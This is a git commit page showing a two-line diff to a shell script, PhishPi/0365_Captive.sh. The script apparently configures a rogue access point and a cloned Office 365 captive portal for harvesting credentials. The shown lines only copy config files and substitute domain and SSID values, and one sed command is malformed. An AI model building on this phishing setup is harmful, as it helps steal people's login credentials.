Jelajahi Sumber

Update 0365_Captive.sh

assume-breach 3 tahun lalu
induk
melakukan
d4844e8796
1 mengubah file dengan 2 tambahan dan 2 penghapusan
  1. 2 2
      PhishPi/0365_Captive.sh

+ 2 - 2
PhishPi/0365_Captive.sh

@@ -62,7 +62,7 @@ sleep 1
 echo -e ${yellow}"$URL Cloned Successfully"${clear}
 sleep 2
 
-#Copying Resources
+#Copying Resources To Local Directory
 
 cp Resources/hosts . 2>/dev/null
 cp Resources/dnsmasq.conf . 2>/dev/null
@@ -74,7 +74,7 @@ cp Resources/post.php . 2>/dev/null
 #Replacing Variables In Files
 sed -i "s/domain/${domain}g/" post.php
 sed -i "s/domain/${domain}/g" index.html
-sed -i "s/10.1.1.1/${domain}/g" dnsmasq.conf
+sed -i "s/domain/${domain}/g" dnsmasq.conf
 sed -i "s/AP/${AP}/g" hostapd.conf
 sed -i "s/SSID/${SSID}/g" hostapd.conf
 sed -i "s/domain/${domain}/g" authenticate.html